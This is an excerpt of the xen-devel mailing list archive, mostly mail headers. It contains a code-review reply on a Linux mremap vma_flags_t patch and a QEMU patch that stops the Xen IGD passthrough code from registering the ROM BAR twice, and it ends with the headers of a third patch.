Yan, Zi



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 02:28:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 02:28:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357479.1611877 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wheUz-0000t0-0I; Thu, 09 Jul 2026 02:28:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357479.1611877; Thu, 09 Jul 2026 02:28:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wheUy-0000st-Tn; Thu, 09 Jul 2026 02:28:24 +0000
Received: by outflank-mailman (input) for mailman id 1357479;
 Thu, 09 Jul 2026 02:28:23 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ziy@nvidia.com>) id 1wheUx-0000sn-CR
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 02:28:23 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wheUw-00A0PJ-5V
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 04:28:22 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4f06fb-2eae-0a2a0a5409dd-0a2a450889a6-18
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 04:28:21 +0200
Received: from [40.107.200.1]
 (helo=CH5PR02CU005.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4f0744-edec-0a2a45080019-286bc8018ca9-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 04:28:21 +0200
Received: from IA0PR12MB8374.namprd12.prod.outlook.com (2603:10b6:208:40e::7)
 by CH3PR12MB8185.namprd12.prod.outlook.com (2603:10b6:610:123::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.11; Thu, 9 Jul
 2026 02:28:07 +0000
Received: from IA0PR12MB8374.namprd12.prod.outlook.com
 ([fe80::d85f:4c87:ae84:3f16]) by IA0PR12MB8374.namprd12.prod.outlook.com
 ([fe80::d85f:4c87:ae84:3f16%5]) with mapi id 15.21.0181.014; Thu, 9 Jul 2026
 02:28:07 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=temperror header.s=selector2 header.d=Nvidia.com header.i="@Nvidia.com"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=bOJJj7rmx60PJSWTNzmJhpej3sKFS5Wz0lJyPQb5rMSve7PCKTFTIEQRyzvrxznC2DbuldrKOnvAKU9jqmPxJWQntoKhXg07xNTS5g9vCvdt+IgIYPJqK3AiSmLbbOyBkkn6b8zt53Ft5+JJpdycLFNpgJiPe/UOPFKv3kMMAXjhP9r+o7zcJFDtQoYFwKpKr6ZDaeScx/TEUs2nnAUUWEgoVp672imEF+mPjXx5I/8tYGeAr1IMtPhWiUn2x89iY6ggjMo1B351Xkxs1t9FJuUH5Hpjg21G0jIWKkIAyn48n9kCDMCGHalzg3ZWOtRMzb4YCaooM7vGRNBq1UcszQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=628hE3qKJtKmhgz1J5dqnmQSJXhpojgwSEt0XJFiwHk=;
 b=sZ826dWvoJR0CQ61f3y+brnuYXkfl04ZcglwMw+BPJmSZTUXxsjb5KcakHxBlOed2S0bYLpG6GoZv19gn0CUFc8vdaWxjyynM229HQOu4ejImMFB69UXvhsxuPH8ZPA8lI8EA5C/udW+KtxkWVQdL/iyZCA2TqyJumPa+fF5rKqsovCiF+rVvN3HBm2R2Eh3mzVThdA+EGJs9mzQRXPukCuyOZIb6R9Yu9+MExQUbhncldCXh0F35bVZTtNq3jXR1sD/+4bAPzE3m1agCEBGkpuuZz4rk640FTvxEXLpGBISN73kYHU157Us2EiDYZGz4q/Q3w2PFPgbL914OQDcJw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=nvidia.com; dmarc=pass action=none header.from=nvidia.com;
 dkim=pass header.d=nvidia.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=Nvidia.com;
 s=selector2;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=628hE3qKJtKmhgz1J5dqnmQSJXhpojgwSEt0XJFiwHk=;
 b=bz5IKidz0aU0mhB4xRGwF2vFDP73iMiXQqknrJ5piQ94nra9oZVGFVmgDe6LIAxnbohuh5HRTYE7Nb+sgJjBiU11MeikVvzjdlL7gLMg9FB0voeTqK2vX0EWDvU4yK8XINW2Jcme270SiUwpeTTBjJeVR5I8HQOI6beO+PCgz7QLFyngV63D6DqDjxNBNCsLbSVkoDkvXpDOA9khZOgGBmvxDCZH4TCPrJ2qRBHGlV/SfOiIftDwBLNpnTBNvEWKH3osMg8sqSjD59eUOJ546U6ZafLqbMDSUgdR8iT7u5ANT8ENEFWf78eWB65Tg1Cf+6Ou3uIZQjOx4iYueE2Mvg==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=nvidia.com;
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Wed, 08 Jul 2026 22:28:00 -0400
Message-Id: <DJTOP760MDDG.2KUSKD8WVVKJ5@nvidia.com>
Subject: Re: [PATCH 13/13] mm/mremap: convert mremap code to use vma_flags_t
Cc: <akpm@linux-foundation.org>, <tsbogend@alpha.franken.de>,
 <maddy@linux.ibm.com>, <mpe@ellerman.id.au>,
 <maarten.lankhorst@linux.intel.com>, <mripard@kernel.org>,
 <tzimmermann@suse.de>, <airlied@gmail.com>, <simona@ffwll.ch>,
 <l.stach@pengutronix.de>, <inki.dae@samsung.com>, <sw0312.kim@samsung.com>,
 <kyungmin.park@samsung.com>, <krzk@kernel.org>, <peter.griffin@linaro.org>,
 <jani.nikula@linux.intel.com>, <joonas.lahtinen@linux.intel.com>,
 <rodrigo.vivi@intel.com>, <tursulin@ursulin.net>,
 <robin.clark@oss.qualcomm.com>, <lumag@kernel.org>, <lyude@redhat.com>,
 <dakr@kernel.org>, <tomi.valkeinen@ideasonboard.com>, <hjc@rock-chips.com>,
 <heiko@sntech.de>, <andy.yan@rock-chips.com>, <thierry.reding@kernel.org>,
 <mperttunen@nvidia.com>, <jonathanh@nvidia.com>, <kraxel@redhat.com>,
 <dmitry.osipenko@collabora.com>, <zack.rusin@broadcom.com>,
 <matthew.brost@intel.com>, <thomas.hellstrom@linux.intel.com>,
 <oleksandr_andrushchenko@epam.com>, <deller@gmx.de>, <bcrl@kvack.org>,
 <viro@zeniv.linux.org.uk>, <brauner@kernel.org>, <muchun.song@linux.dev>,
 <osalvador@suse.de>, <david@kernel.org>, <baolin.wang@linux.alibaba.com>,
 <liam@infradead.org>, <npache@redhat.com>, <ryan.roberts@arm.com>,
 <dev.jain@arm.com>, <baohua@kernel.org>, <hughd@google.com>,
 <vbabka@kernel.org>, <rppt@kernel.org>, <surenb@google.com>,
 <mhocko@suse.com>, <jannh@google.com>, <pfalcato@suse.de>,
 <kees@kernel.org>, <perex@perex.cz>, <tiwai@suse.com>,
 <linux-mips@vger.kernel.org>, <linux-kernel@vger.kernel.org>,
 <linuxppc-dev@lists.ozlabs.org>, <dri-devel@lists.freedesktop.org>,
 <etnaviv@lists.freedesktop.org>, <linux-arm-kernel@lists.infradead.org>,
 <linux-samsung-soc@vger.kernel.org>, <intel-gfx@lists.freedesktop.org>,
 <linux-arm-msm@vger.kernel.org>, <freedreno@lists.freedesktop.org>,
 <nouveau@lists.freedesktop.org>, <linux-rockchip@lists.infradead.org>,
 <linux-tegra@vger.kernel.org>, <virtualization@lists.linux.dev>,
 <intel-xe@lists.freedesktop.org>, <xen-devel@lists.xenproject.org>,
 <linux-fbdev@vger.kernel.org>, <linux-aio@kvack.org>,
 <linux-fsdevel@vger.kernel.org>, <linux-mm@kvack.org>,
 <linux-sound@vger.kernel.org>
To: "Lorenzo Stoakes" <ljs@kernel.org>, "Lance Yang" <lance.yang@linux.dev>
From: "Zi Yan" <ziy@nvidia.com>
X-Mailer: aerc 0.21.0
References: <380f761d35a3faa4370f8b3f92e3d4af3d4c7110.1782760670.git.ljs@kernel.org> <20260702134947.25189-1-lance.yang@linux.dev> <akaJx8Zt8kazlrjq@lucifer>
In-Reply-To: <akaJx8Zt8kazlrjq@lucifer>
X-ClientProxiedBy: DS7P220CA0110.NAMP220.PROD.OUTLOOK.COM
 (2603:10b6:8:25d::12) To IA0PR12MB8374.namprd12.prod.outlook.com
 (2603:10b6:208:40e::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA0PR12MB8374:EE_|CH3PR12MB8185:EE_
X-MS-Office365-Filtering-Correlation-Id: d08dc437-8440-482d-c719-08dedd61b611
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|1800799024|376014|366016|7416014|11063799006|18002099003|22082099003|4143699003|56012099006;
X-Microsoft-Antispam-Message-Info:
	Z/tjc06LNUj/ulqvzkhbzEoBDPqp8rufyAQcTElPkkRlF0B8T5Lbv7NMmcJr2fLtFbSsJgLgtFQE7voqnqaki+sE2P+d6Zq2TFmjE3fxJChyNDeTmhCtDvTiZO/XKngfNniy6jwmycUEa9vLkF/v2tAPyDLh4KOe8cIEtY8vtgAgmXR1KyNJPJW6VdDsUdKzYzL3I9N8Bgwyf2BDWdf+/jn3SJxXVHol2dODQXVmawEDDxxYe96QGbU8mg1IlAcDPVqgvY1CTNKIwHqWXo3HmmWXSRLC0lN2jN6ij11QBSyuVAY95RX+XdDCdiLHzjRN2nUcFafDKEwUJXECHDVv1pFmO+mPI2ZeDGU4uOG2KYqabOpq0AZ9U02WcOV+U5RXGj/0o58kNOZjIZXq8fjCkZno1LUGZ6pSljvH5R5tf+KUa5bZzEfGxC8fqYD4G4sHmVG2ZTvIDgG8RQNuqN5pIDhbPgMDHHgQn8uVdJYhWdGmCTbKhWOOB+jIlOYBfDORJ3fvm3BXCRyJ+MUAz7yvTyXwBlTV+Czo/rvFJC5g+vcpCcbEUWiElMspJ2ZW1nBbO8EFIAa9cdCLclSyU2JwoTl9+jG54SN7IHjyF3ozn47MSbc135KTOEkZcoJ+kUIaiOnk6eDkiLfNe8mpH1guZ6PqDK6XGo3FvG6Io0XdOcc=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA0PR12MB8374.namprd12.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(1800799024)(376014)(366016)(7416014)(11063799006)(18002099003)(22082099003)(4143699003)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?b0drdVdBNTVMRW1PY2NGdUlvZm5yTDUvUlNxNm5CRXJhcG5NTHBVQVgvZDZi?=
 =?utf-8?B?S2hVcjdVcWJxZ2swZUZjSC9ITUkrczBKTjlWVlJ5aWVWRStvcWVvNU92b3dJ?=
 =?utf-8?B?YmlQNm1CQ28rNitYUzB1TUMrZFJCanluTVhwTGJEa1F4SldlMlQvL0hVNXNN?=
 =?utf-8?B?RnROemo0ZmdrL25FcUtHbWRsaGNLUzBvYjI4WThVRUVqVkIxeEtjVGZjVU9L?=
 =?utf-8?B?UzNRTUh5a3BUZjFFcnM0WU5Eaklzb3RwT3E0Y1JSZFEvdDRtWi9XOGJ5L2ph?=
 =?utf-8?B?RUJLc0hLREpIMCtZS0Y4eUN5VmJZUk5OZVZWOW93anpkbTBwUzVCek5icDNr?=
 =?utf-8?B?bE1GZEhhcEdtYlk4OFlwWFlobU9ZMFVBNW5hWWtkemRBb201UXN6ekQreW5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bnBYUFFsbGhXWGVuRDA4MHlqV3BHZStzWkJjUjdI?=
 =?utf-8?B?Q3dwbCtuNHcvaWpmWVV4eE1IQmFGeHpQUytIWkxyMFRNK3VLVkJSZTNOam9J?=
 =?utf-8?B?c3BEWXpUQnNyb1dTVFVWR200RUNLL2hXTXd6Y0VVY05VNlFxclpqVG8wa21J?=
 =?utf-8?Q?o/F5FtLy/Vhx3E1ynX?=
X-OriginatorOrg: Nvidia.com
X-MS-Exchange-CrossTenant-Network-Message-Id: d08dc437-8440-482d-c719-08dedd61b611
X-MS-Exchange-CrossTenant-AuthSource: IA0PR12MB8374.namprd12.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 02:28:07.1996
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 43083d15-7273-40c1-b7db-39efd9ccc17a
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: HwvHZWQC9MdnD6g3v08vrOQ4XTKGoKoqxeyCnkhEi4z4/RE9HfeCt5vBm/x1LNgj
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CH3PR12MB8185
X-purgate-ID: tlsNG-c1860d/1783564101-48A503FC-1A14A6B0/0/0
X-purgate-type: clean
X-purgate-size: 1186

On Thu Jul 2, 2026 at 12:07 PM EDT, Lorenzo Stoakes wrote:
> On Thu, Jul 02, 2026 at 09:49:47PM +0800, Lance Yang wrote:
>>
>> On Mon, Jun 29, 2026 at 08:25:36PM +0100, Lorenzo Stoakes wrote:
>> >Replace use of the legacy vm_flags_t flags with vma_flags_t values
>> >throughout the mremap logic.
>> >
>> >Additionally update comments to reflect the changes to be consistent.
>> >
>> >No functional change intended.
>> >
>> >Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
>> >---
>>
>> The vm_flags_set() cases below spell out vma_start_write(), but the
>> vm_flags_clear() cases don't?
>
> Yep as I said elsewhere, implicitly taking the lock is terrible and me do=
ing
> this is completely on purpose to get rid of that :)
>
> But I haven't been clear enough clearly, so I should put the argument as =
to why
> that's ok in the commit message.
>
> Will do so on respin.

How about also add a comment to vma_clear*() telling us a lock is not
needed and why like you explained a lock is needed for vma_set*()?
This asymmetry could confuse people.=20

This patch looks good to me.

Reviewed-by: Zi Yan <ziy@nvidia.com>

--=20
Best Regards,
Yan, Zi



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 05:09:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 05:09:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357502.1611896 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whh0n-0007mz-5X; Thu, 09 Jul 2026 05:09:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357502.1611896; Thu, 09 Jul 2026 05:09:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whh0n-0007ms-2j; Thu, 09 Jul 2026 05:09:25 +0000
Received: by outflank-mailman (input) for mailman id 1357502;
 Thu, 09 Jul 2026 05:09:23 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <brchuckz@aol.com>) id 1whh0l-0007mK-Kc
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 05:09:23 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whh0l-00C5RT-1K
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 07:09:23 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <brchuckz@aol.com>)
 id 6a4f2ce5-5cb7-0a2a0a5109dd-0a2a45039e8e-16
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 07:09:22 +0200
Received: from [98.137.69.206] (helo=sonic312-25.consmr.mail.gq1.yahoo.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <brchuckz@aol.com>)
 id 6a4f2d01-ec1a-0a2a45030019-628945ceae8e-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 07:09:22 +0200
Received: from sonic.gate.mail.ne1.yahoo.com by
 sonic312.consmr.mail.gq1.yahoo.com with HTTP; Thu, 9 Jul 2026 05:09:20 +0000
Received: by hermes--production-ne1-7568ccb994-mqdhs (Yahoo Inc. Hermes SMTP
 Server) with ESMTPA ID da73cafa7d25cff72b3b6899257e7b9a; 
 Thu, 09 Jul 2026 05:09:15 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=a2048 header.d=aol.com header.i="@aol.com" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=aol.com; s=a2048; t=1783573760; bh=m2Glp8wi3kwkb5QhxQq01xhDsLdInXw/WE9Th4YGj7w=; h=From:To:Cc:Subject:Date:In-Reply-To:References:From:Subject:Reply-To; b=FbvF4Bxmi4Ci6Hv5xb+vV9U71ad2my3dCMUodg1CzrUK0YkET7hCIqlBDdPU3pkDG/Iv5g/VussMG/VmAbVqCIcGPZC+JMvayAiXf5WDNJb2h4zgoM/ntZkK5O/AWYppIJPchITFOucd54cmEi/Cj1G//islK+0s/X4Yx3tlWLc41VdrCA4KBPDRm861hn4PzNOjPHkVxMrmTctlVAc0BDGtrdtbn42TrfQjiB6lsdiPT1cphgWH2kNQkhR3FKNMJPddS7h4ZxF+QRVVwaQJbiVk6vNpjf279ikqwrI7c5rKjVi7exCMIdurlvauzbBKDgjbs+xYMeBj7xf4IOEAUw==
X-SONIC-DKIM-SIGN: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s2048; t=1783573760; bh=OHOrD+3w7dGTNtdsk72dzU4E9ANMJiTyFgbcK/ru5tX=; h=X-Sonic-MF:From:To:Subject:Date:From:Subject; b=OHuxLpznchqCXBF6RtQMf2NIwJ19nUIsa3CGjThqzYm7nPRJcYXYFpA2Z6KWU3kQpwuakhUlxS/ah/CzYWT4Tyg4SwFjQACG2RDnlk3Qw2DcqZbJtDSdE30RTGxP6Buymn/tP+LKDIb7g01Ky7moCG2WMtYeJWOljhtuykzlMqdg1navdJF1ewiHNGxRPfCc/ir7PKJJmKPUEYwVpg+MxR+wjcQZy+xgJCVv+QaRbZbdMliJfebMskt+c3ZYmi+wMkh1RHZuvWm/WH9e/4fNE5O+6hc99gbNErHv6okok+kl12ZVtr7C1+HmdzRvl1cRcb8dErMBmGrXesL19oXPSg==
X-YMail-OSG: L5_GXkAVM1nr5wX1RW1uU2hcTkTL5jxrxlRzDHwzSHFq5_HwNoSPzHMb8STgzcV
 Yyd_gnqlenOiF1AY_3yYVjoQWQoZ_uNHJaR.nKgmQj.C19VGRrFcPDa5o1N3i3B_.KqzUYh2mHtX
 sAzhM03LHWV4aJ4vAnyR6ujvYXhSzrrFAFUuxt2cx_WFC05Okt49awJxOPfN_wazg.AdP94d8seO
 8RSMVM7YJTLmfsr40dbLkpHx_D.t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c6-6a0d-46f1-b36a-b1ea89bd3ebf
From: Chuck Zmudzinski <brchuckz@aol.com>
To: qemu-devel@nongnu.org
Cc: xen-devel@lists.xenproject.org,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E . Iglesias" <edgar.iglesias@gmail.com>
Subject: [PATCH 2/3] xen/igd: don't register rom bar twice
Date: Thu,  9 Jul 2026 01:09:09 -0400
Message-ID: <20260709050910.8217-3-brchuckz@aol.com>
X-Mailer: git-send-email 2.47.3
In-Reply-To: <20260709050910.8217-1-brchuckz@aol.com>
References: <20260709050910.8217-1-brchuckz@aol.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Length: 962
X-purgate-ID: tlsNG-33051d/1783573762-BD1BE5D1-2BDC9F9C/0/0
X-purgate-type: clean
X-purgate-size: 990

This also fixes a failed assertion in pci [1] for Qemu
version 10 and higher when passing through an Intel
IGD with an option ROM to the guest.

[1] f6fc01c ("hw/pci: Assert a bar is not registered multiple times")

Fixes: 881213f ("xen, gfx passthrough: retrieve VGA BIOS to work")
Signed-off-by: Chuck Zmudzinski <brchuckz@aol.com>
---
 hw/xen/xen_pt.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/hw/xen/xen_pt.c b/hw/xen/xen_pt.c
index 474606e..c3b6c1e 100644
--- a/hw/xen/xen_pt.c
+++ b/hw/xen/xen_pt.c
@@ -495,7 +495,8 @@ static int xen_pt_register_regions(XenPCIPassthroughState *s, uint16_t *cmd)
     }
 
     /* Register expansion ROM address */
-    if (d->rom.base_addr && d->rom.size) {
+    PCIIORegion region = s->dev.io_regions[PCI_ROM_SLOT];
+    if (!region.size && d->rom.base_addr && d->rom.size) {
         uint32_t bar_data = 0;
 
         /* Re-set BAR reported by OS, otherwise ROM can't be read. */
-- 
2.52.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 05:09:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 05:09:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357504.1611904 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whh0n-0007uA-KX; Thu, 09 Jul 2026 05:09:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357504.1611904; Thu, 09 Jul 2026 05:09:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whh0n-0007sh-GX; Thu, 09 Jul 2026 05:09:25 +0000
Received: by outflank-mailman (input) for mailman id 1357504;
 Thu, 09 Jul 2026 05:09:24 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <brchuckz@aol.com>) id 1whh0m-0007mL-6I
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 05:09:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whh0l-00AI4q-74
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 07:09:23 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <brchuckz@aol.com>)
 id 6a4f2cff-bab6-0a2a0a5309dd-0a2a45079eaa-8
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 07:09:23 +0200
Received: from [98.137.69.84] (helo=sonic314-21.consmr.mail.gq1.yahoo.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <brchuckz@aol.com>)
 id 6a4f2d01-9c8e-0a2a45070019-62894554a526-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 07:09:22 +0200
Received: from sonic.gate.mail.ne1.yahoo.com by
 sonic314.consmr.mail.gq1.yahoo.com with HTTP; Thu, 9 Jul 2026 05:09:20 +0000
Received: by hermes--production-ne1-7568ccb994-mqdhs (Yahoo Inc. Hermes SMTP
 Server) with ESMTPA ID da73cafa7d25cff72b3b6899257e7b9a; 
 Thu, 09 Jul 2026 05:09:16 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=a2048 header.d=aol.com header.i="@aol.com" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=aol.com; s=a2048; t=1783573760; bh=UmUmWH59zwDkMLLGuuGvz0xwapBoT1O8sVu7oXOskMA=; h=From:To:Cc:Subject:Date:In-Reply-To:References:From:Subject:Reply-To; b=hGHrGkCZrQZCC7XLtuCMvJIdut61Pe/EmUDh0iLkCd/+jW65mcTW6JH0XjzA6jvabpZsVqk641YUUGNH39EU5YeFPCeapQB3t4JdY1Rct3CaNTqamO+JBrgBTNPbByTSaEnjnMgMObZZOa7xm2LDa3dN9QZikCwv8Kk7ACNiMQK9E4eO+DDeIh7+bH95LQ7C2splnR5CJp0YpkJNZ83ZoGhLS/cluKUChART3xYV63nJlVkoUkwGYWbX3q0duIpLgePeqZgdU57ZFJn19PHolewmNVHjTI+QdCnib38GOXoEEnS1MCf1lVpKyrNz+p2leiMb+TUPQF/HXHMdhJI1Qw==
X-SON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3y7B1iKy06flwelHce0QrmujnOsN9zbLxSrboz9kbaxCCMrnhIwi7S3wqivwm.x.JPxOmV
 YWWUHxZ3k7V0T57nxVZyUDCCLRfDJmSZzN78tNvR4eRro.6H90GadGypP9jDL4w4n2_qZ9w17LJW
 Js8gKvxuZLC65uz8r.3q7fTjzc.8HaiH0FXy25ViX0v1EgS7Kcxe8vzJ63ceLS0dvBOgkaKechkl
 FzJcsIONxOpVg_PzLRMykYuCYCAsYVCTemyxGIxutTHZUrYEmTSI4c3y_iTgJuPal4B81oDqwgqa
 0Dksj.wVwUiNCQ4_lJ0mzeiObB0sm6IHIVpeI5JiWuEgZRr244fsinTP79cfAZftm0lzy3MqscEv
 jaVuTHPjX.c3jGEy5KsbPZQkkWj74g0.YrHFBEXDrY.HzSRhniqMpHpiyd_xQRq0Z3A7vt1QQe.H
 klVQGSK91OCdctFkP.athI26.gnWQWufh6Qy5GyfRXp0709_J8EZxKspyE10UL.UW.U5Aa4v1Cpc
 flIU0FlQVEU0Yut56zAl4E_WtMWG0mcmFYesn5oj9HM7_G2e27nxGw3JU4LTF.cVbAqpczSIdmm4
 1BWb7IfOOAUkQQorbZYYglwJS96nkZ._2ff3sWiB.hvxRftpxR2YpyZSDO0jzvh7hzDwX2byEShg
 5hhJ6zOmRP4t_x1s2jlkXQ8Fs5lCVL0LcAw--
X-Sonic-MF: <brchuckz@aol.com>
X-Sonic-ID: 95c2e078-b625-436e-bd84-c2e244a36491
From: Chuck Zmudzinski <brchuckz@aol.com>
To: qemu-devel@nongnu.org
Cc: xen-devel@lists.xenproject.org,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E . Iglesias" <edgar.iglesias@gmail.com>
Subject: [PATCH 3/3] xen/igd: fixup device id before registering rom
Date: Thu,  9 Jul 2026 01:09:10 -0400
Message-ID: <20260709050910.8217-4-brchuckz@aol.com>
X-Mailer: git-send-email 2.47.3
In-Reply-To: <20260709050910.8217-1-brchuckz@aol.com>
References: <20260709050910.8217-1-brchuckz@aol.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
